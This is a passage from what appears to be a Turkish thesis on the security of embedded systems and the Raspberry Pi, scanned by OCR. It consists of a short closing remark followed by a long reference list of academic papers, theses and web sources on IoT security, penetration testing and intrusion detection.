kesfettikten sonra, glivenlik onlemleri tasarim metodolojisine dahil edilmelidir. Su anda,
giivenlik sadece sonradan diisiiniilen bir konudur ve ¢ofu ¢6ziim, belirli saldirilar
engellemek icindir. Bununla birlikte, artan sayida giivenlik ihlali, ortaya ¢ikan ekonomik
kayiplar ve potansiyel tehlikelerin tiimii, temel giivenlik ¢Ozlimlerinin Onemini

vurgulamaktadir.



10.

11.

53

KAYNAKLAR

Cakir, H. S., ve Ozcanhan, M. H. (2011). Gémiilii Sistem Uygulamalarina Yapilan
Saldirilar ve Ag Baglantili Gomiilii Sistemlerin Giivenliginin Saglanmasi. Elektrik-
Elektronik ve Bilgisayar Sempozyumu Bildiri Kitabi, 5-7.

Chen, J., Guo, H., and Hu, W. (2019). Research on Improving Network Security of
Embedded System. In 2019 6th IEEE International Conference on Cyber Security
and Cloud Computing (CSCloud), 136-138.

Basan, E., Medvedev, M., and Teterevyatnikov, S. (2018). Analysis of the impact of
denial of service attacks on the group of robots. In 2018 International Conference on
Cyber-Enabled Distributed Computing and Knowledge Discovery (CyberC), 63-
638.

Vujovi¢, V., and Maksimovi¢, M. (2015). Raspberry Pi as a Sensor Web node for
home automation. Computers & Electrical Engineering, 44, 153-171.

Gupta, M. S. D. Patchava, V., and Menezes, V. (2015). Healthcare based on iot using
raspberry pi. In 2015 International Conference on Green Computing and Internet of
Things (ICGCloT), 796-799.

Williams, M. (2018). A Risk Assessment on Raspberry Pi Using NIST Standards.
Master’s Thesis, lowa State University Computer Engineering, Ames, lowa, 1-12,

Raman, S. (2018). Security Risk Management for the loT Systems, Master’s Thesis,
University of Tartu Institute of Computer Science, Tartu, Estonia, 6-12.

Hu, Y., Sulek, D., Carella, A., Cox, J., Frame, A., Cipriano, K., and Wang, H. X.
(2016). Employing miniaturized computers for distributed vulnerability assessment.
In 2016 11th International Conference for Internet Technology and Secured
Transactions (ICITST), 57-61.

Al Barghuthi, N. B., Saleh, M., Alsuwaidi, S., and Alhammadi, S. (2017). Evaluation
of portable penetration testing on smart cities applications using Raspberry Pi IlI.
In 2017 Fourth HCT Information Technology Trends (ITT), 67-72.

El-Haii, M., Chamoun, M., Fadlallah, A., and Serhrouchni, A. (2018). Analysis of
cryptographic algorithms on iot hardware platforms. In 2018 2nd Cyber Security in
Networking Conference (CSNet), 1-5.

Sanada, A., Nogami, Y., lokibe, K., and Khandaker, M. A. A. (2017). Security
analysis of Raspberry Pi against Side-channel attack with RSA cryptography.
In 2017 IEEE International Conference on Consumer Electronics-Taiwan (ICCE-
TW), 287-288.



54

12.

13.

14.

15.

16.

17.

18.

19.

20.

21.

22.

Hatun, E., Biiyiikkaya, E., and Evci, M. A. (2019). Side Channel Analysis of
Raspberry Pi with AES Algorithm and Measurement Improvement. In 2019 27th
Signal Processing and Communications Applications Conference (SI1U), 1-4.

Bruning, M. (2016). An Analysis of the DDoS Potential of Single Board Computers:
A Raspberry Pi Case Study. The Netherlands in International Journal of Computer
Science and Network Solutions (IJCSNS), 5(7), 47-55.

Ojeda Adan, M. F. (2019). Designing an Internet of Things Attack Simulator,
Bachelor’s Thesis, Metropolia University of Applied Sciences of Electronics,
Helsinki, 21-37.

Martin, E. D., Kargaard, J., and Sutherland, 1. (2019). Raspberry Pi Malware: An
Analysis of Cyberattacks Towards 10T Devices. In 2019 10th International
Conference on Dependable Systems, Services and Technologies (DESSERT), 161-
166.

Singh, U., Bharadjaw K.N., and Samajpati A. (2017). Analysis, Detection and
Mitigation of Cyber Attacks on loT Platform. In 2017 12th Annual Symposium on
Information Assurance (ASIA “17), 45-53.

Huraj, L., Simon, M., and Horak, T. (2018). loT measuring of UDP-based distributed
reflective DoS attack. In 2018 IEEE 16th International Symposium on Intelligent
Systems and Informatics (SISY), 209-214.

Aspernids, A. and Simonsson, T. (2015). IDS on Raspberry Pi: A Performance
Evaluation, Diploma Thesis, Linnaeus University Faculty of Technology
Department of Computer Science.

Mahajan, S., Adagale, A. M., and Sahare, C. (2016). Intrusion detection system using
raspberry pi honeypot in network security. International Journal of Science and
Computing IJESC, 6(3), 2792-2795.

Kyaw, A. K., Chen, Y., and Joseph, J. (2015). Pi-IDS: evaluation of open-source
intrusion detection systems on Raspberry Pi 2. In 2015 Second International
Conference on Information Security and Cyber Forensics (InfoSec), 165-170.

Tripathi, S., and Kumar, R. (2018). Raspberry pi as an intrusion detection system, a
honeypot and a packet analyzer. In 2018 International Conference on Computational
Techniques, Electronics and Mechanical Systems (CTEMS), 80-85.

Sforzin, A., Marmol, F. G., Conti, M., and Bohli, J. M. (2016). Rpids: Raspberry pi
ids—a fruitful intrusion detection system for iot. In 2016 Intl IEEE Conferences on
Ubiquitous Intelligence & Computing, Advanced and Trusted Computing, Scalable
Computing and Communications, Cloud and Big Data Computing, Internet of
People, and Smart World Congress
(UIC/ATC/ScalCom/CBDCom/loP/SmartWorld), 440-448.



23.

24,

25.

26.

27.

28.

29.

30.

31.

32.

33.

34.

35.

55

Cosar, M., ve Karasartova, S. (2017, Ekim). Raspberry Pi ve Snort ile SOHO
Networklerde Bir Giivenlik Duvart Uygulamast. 2nd International Conference on
Computer Science and Engineering, 1000-1003.

Lim, C., Marcello, M., Japar, A., Tommy, J., and Kho, I. E. (2014). Development of
Distributed Honeypot Using Raspberry Pi. InInternational Conference on
Information, Communication Technology and System.

Nagy, L., and Colesa, A. (2019). Router-based lIoT Security using Raspberry Pi.
In 2019 18th RoEduNet Conference: Networking in Education and Research
(RoEduNet), 1-6.

Sainz-Raso, J., Martin, S., Diaz, G., and Castro, M. (2019). Security Vulnerabilities
in Raspberry Pi—Analysis of the System Weaknesses. IEEE Consumer Electronics
Magazine, 8(6), 47-52.

Feng, X., Babatunde, O., and Liu, E. (2017). Cyber security investigation for
Raspberry Pi devices. International Refereed Journal of Engineering and Science.

Alsaadi, H. H., Aldwairi, M., Al Taei, M., AlBuainain, M., and AlKubaisi, M.
(2018). Penetration and security of OpenSSH remote secure shell service on
Raspberry Pi 2. In 2018 9th IFIP International Conference on New Technologies,
Mobility and Security (NTMS), 1-5.

Jiménez, M., Palomera, R., and Couvertier, 1. (2013). Introduction to embedded
systems. New York: Springer, 3-9.

Toulson, R., and Wilmshurst, T. (2016). Fast and effective embedded systems
design: applying the ARM mbed. Newnes, 3-38.

Molazem Tabrizi, F. (2017). Security analysis and intrusion detection for embedded
systems: a case study of smart meters, Doctoral Dissertation, University of British
Columbia, Vancouver, Canada, 1-8.

Qian, K., Den Haring, D., and Cao, L. (2009). Embedded software development with
C. Springer, 1-37.

Sharma, S. (2013). Embedded Systems--A Security Paradigm for Pervasive
Computing. In 2013 International Conference on Communication Systems and
Network Technologies, 472-477.

Wang, X., Wang, Z., Huang, W., Wen, G. Q., and Zhang, S. L. (2017). Summary of
Embedded Systems Development. In 2017 5th International Conference on Frontiers
of Manufacturing Science and Measuring Technology (FMSMT 2017).

Shibu, K. V. (2009). Introduction to embedded systems. Tata McGraw-Hill
Education, 5-60.



56

36.

37.

38.

39.

40.

41.

42.

43.

44,

45.

46.

47.

48.

Internet: Khadka, S. A Notebook on Embedded System Fundamentals. URL:
https://www.scribd.com/document/494167280/A-Notebook-on-Embedded-System-
Fundamentals, Son Erisim Tarihi: 12.06.2021.

Ozcanhan, Mehmet Hilal (2011). Security and reliability in embedded systems.
Doctoral Thesis. Dokuz Eyliil University Graduate School Of Natural And Applied
Sciences, Izmir.

Jiménez, M., Palomera, R. and Couvertier, I. (2013). Introduction to embedded
systems, New York: Springer, 1-30.

Kavedia, M., and Bhide, A. (2018). Introduction to Embedded Systems, Mumbai:
Himalaya Publishing, 1-10.

Faroog-i-Azam, M., and Ayyaz, M. N. (2012). Embedded Systems Security. In
Cyber Security Standards, Practices and Industrial Applications: Systems and
Methodologies, IGI Global, 179-198.

Ott, K., and Mahapatra, R. (2019). Continuous authentication of embedded software.
In 2019 18th IEEE International Conference On Trust, Security And Privacy In
Computing And Communications/13th IEEE International Conference On Big Data
Science And Engineering (TrustCom/BigDataSE), 128-135.

Larson, U. E., and Nilsson, D. K. (2008). Securing vehicles against cyber attacks.
In Proceedings of the 4th annual workshop on Cyber security and information
intelligence research: developing strategies to meet the cyber security and
information intelligence challenges ahead, 1-3.

Marwedel, P. (2017). Embedded System Design: Embedded Systems Foundations of
Cyber-Physical Systems, and the Internet of Things, Dortmund:Springer, 1-25.

Vai, M., Nahill, B., Kramer, J., Geis, M., Utin, D., Whelihan, D., and Khazan, R.
(2015). Secure architecture for embedded systems. In 2015 IEEE High Performance
Extreme Computing Conference (HPEC), 1-5.

Mirjalili, S. H., and Lenstra, A. K. (2008). Security observance throughout the life-
cycle of embedded systems. In Proceedings of the 2008 International Conference on
Embedded Systems and Applications, 186-192.

Meshram, V. H., and Sasankar, A. B. (2016). Security in Embedded Systems:
Vulnerabilities, Pigeonholing of Attacks and Countermeasures.

Khelladi, L., Challal, Y., Bouabdallah, A., and Badache, N. (2008). On security
issues in embedded systems: challenges and solutions. International Journal of
Information and Computer Security, 2(2), 140-174.

Baker, A. (2020). Wind River; A Survey of Information Security Implementations
For Embedded Systems, White Paper, Alameda, 3-16.



49,

50.

51.

52.

53.

54.

55.

56.

S57.

58.

59.

60.

61.

62.

57

Vega, A., Bose, P., and Buyuktosunoglu, A. (2016). Rugged Embedded Systems:
Computing in Harsh Environments. Cambridge: Elsevier, 149-203.

Mehmood, M. A., Khokhar, A. S., and Ali, M. (2011, November). Incorporating
Security in Embedded System-A critical analysis. International Journal of
Computer Science Issues, 8(6), 156-160.

Internet: What is a Raspberry Pi. (2018) Web:
https://www.raspberrypi.org/help/what-%20is-a-raspberry-pi/, Son Erisim Tarihi:
13.06.2021.

Internet:  Raspberry Pi  Foundation Annual Review. (2019). Web:
https://static.raspberrypi.org/files/about/RaspberryPiFoundationReview2019.pdf,
Son Erisim Tarihi: 13.06.2021.

Kolling, M. (2016). Educational programming on the Raspberry
Pi. Electronics, 5(3), 33.

Nayyar, A., and Puri, V. (2015). Raspberry Pi-a small, powerful, cost effective and
efficient form factor computer: a review. International Journal of Advanced
Research in Computer Science and Software Engineering, 5(12), 720-737.

Internet: Raspberry Pi 4, (2019) Web:
https://www.raspberrypi.org/products/raspberry-pi-4-model-b/, Son Erisim Tarihi:
13.06.2021.

Maksimovi¢, M., Vujovi¢, V., Davidovi¢, N., MiloSevi¢, V., and Perisi¢, B. (2014).
Raspberry Pi as Internet of things hardware: performances and constraints. 1st
International Conference on Electrical, Electronic and Computing Engineering, 3(8).

Chaudhari, H. (2015). Raspberry Pi technology: a review. International Journal of
Innovative and Emerging Research in Engineering, 2(3), 83-87.

Severance, C. (2013). Eben upton: raspberry pi. Computer, 46(10), 14-16.

Upton, E., Duntemann, J., Roberts, R., Mamtora, T., and Everard, B.
(2016). Learning computer architecture with Raspberry Pi. Indianapolis: Wiley, 1-
15.

Donat, W., & Krause, C. (2014). Learn Raspberry Pi Programming with Python.
New York: Apress, 1-26.

Yigit, T., Akyildiz, M. A., ve Bay, O. (2014). Sizma testleri i¢in bir model ag
tzerinde siber saldirt senaryolarimin  degerlendirilmesi. Siileyman  Demirel
Universitesi Fen Bilimleri Enstitiisti Dergisi, 18(1), 14-21.

Internet: Who is the OWASP Foundation. (2021). Web: https://owasp.org/, Son
Erisim Tarihi: 13.06.2021.


https://www.raspberrypi.org/products/raspberry-pi-4-model-b/
https://owasp.org/

58

63.

64.

65.

66.

67.

68.

69.

70.

71.

72.

73.

74.

Aydogdu, D., ve Giindiiz, M. Web Uygulama Giivenligi A¢ikliklart ve Giivenlik
Coziimleri Uzerine Bir Arastirma. Uluslararast Bilgi Giivenligi Miihendisligi
Dergisi, 2(1), 1-7.

Internet:  OWASP  Embedded  Application  Security.  (2021).  Web:
https://owasp.org/www-project-embedded-application-security/, Son Erisim Tarihi:
13.06.2021

Internet: The Open Source Security Testing Methodology Manual. (2021). Web:
https://www.isecom.org/OSSTMM.3.pdf, Son Erisim Tarihi: 13.06.2021

Internet: Information Systems Security Assessment Framework (ISSAF) Draft
0.2.1B. (2021). Web:
http://cuchillac.net/archivos/pre_seguridad_pymes/2_hakeo_etico/lects/metodologi
a_oissg.pdf, Son Erisim Tarihi: 13.06.2021.

Rathore, B., Brunner, M., Dilaj, M., Herrera, O., Brunati, P., Subramaniam, R., and
Chavan, U. (2006). Information Systems Security Assessment Framework (ISSAF),
15-18.

Scarfone, K. A., Souppaya, M. P., Cody, A., and Orebaugh, A. D. (2008). Technical
guide to information security testing and assessment, 1-80.

Internet: PTES Technical Guidelines. (2012). Web: http://www.pentest-
standard.org/index.php/PTES_Technical_Guidelines, = Son  Erisim  Tarihi:
13.06.2021.

Internet: Making a LED blink using Raspberry Pi and Python. (2018). Web:
https://raspberrypihg.com/making-a-led-blink-using-the-raspberry-pi-and-python/,
Son Erisim Tarihi: 13.06.2021.

Internet: Physical Computing with Python. (2021). Web:
https://projects.raspberrypi.org/en/projects/physical-computing, Son Erisim Tarihi:
13.06.2021.

Internet:  Raspberry Pi 3 ile LED  Yakmak. (2017). Web:
https://maker.robotistan.com/raspberry-pi-dersleri-4-gpio-ile-led-kontrolu/, Son
Erisim Tarihi: 13.06.2021.

Kalita, L. (2014). Socket programming. International Journal of Computer Science
and Information Technologies, 5(3), 4802-4807.
Internet: Socket Programming. (2010). Web:

https://www.ibm.com/docs/en/ssw_ibm_i_71/rzab6/rzab6.pdf, Son Erisim Tarihi:
13.06.2021


https://owasp.org/www-project-embedded-application-security/
https://www.isecom.org/OSSTMM.3.pdf
http://cuchillac.net/archivos/pre_seguridad_pymes/2_hakeo_etico/lects/metodologia_oissg.pdf
http://cuchillac.net/archivos/pre_seguridad_pymes/2_hakeo_etico/lects/metodologia_oissg.pdf
http://www.pentest-standard.org/index.php/PTES_Technical_Guidelines
http://www.pentest-standard.org/index.php/PTES_Technical_Guidelines
https://raspberrypihq.com/making-a-led-blink-using-the-raspberry-pi-and-python/
https://projects.raspberrypi.org/en/projects/physical-computing
https://maker.robotistan.com/raspberry-pi-dersleri-4-gpio-ile-led-kontrolu/
https://www.ibm.com/docs/en/ssw_ibm_i_71/rzab6/rzab6.pdf

75.

76.

77.

78.

79.

80.

81.

59

Ars, A., Oktug, S. F., and Yalgn, S. B. O. (2015). Internet-of-things security: Denial
of service attacks. In 2015 23nd Signal Processing and Communications
Applications Conference (SI1U), 903-906.

Gonen, S. (2018). PLC ile Kontrol Edilen Mikro Tip Akill1 Sebeke Sistemlerde Bilgi
Giivenliginin Saglanmasi. Doktora Tezi, Gazi Universitesi, Ankara.

Conti, M., Dragoni, N., and Lesyk, V. (2016). A survey of man in the middle
attacks. IEEE Communications Surveys & Tutorials, 18(3), 2027-2051.

Bavithra, R. MITM Attacks through ARP poisoning. Anatolian Journal of Computer
Science, 4(2), 96-116.

Kolli, Y., Mohd, T. K., and Javaid, A. Y. (2018). Remote desktop backdoor
implementation with reverse tcp payload using open source tools for instructional
use. In 2018 IEEE 9th Annual Information Technology, Electronics and Mobile
Communication Conference (IEMCON), 444-450.

Johnson, A., & Haddad, R. J. (2021, March). Evading Signature-Based Antivirus
Software Using Custom Reverse Shell Exploit. In SoutheastCon, 1-6.

Greavu-Serban, V., and Serban, O. (2014). Social engineering a general
approach. Informatica Economica, 18(2), 5.






Ly fi)y () )

GAZI GELECEKTIR,..




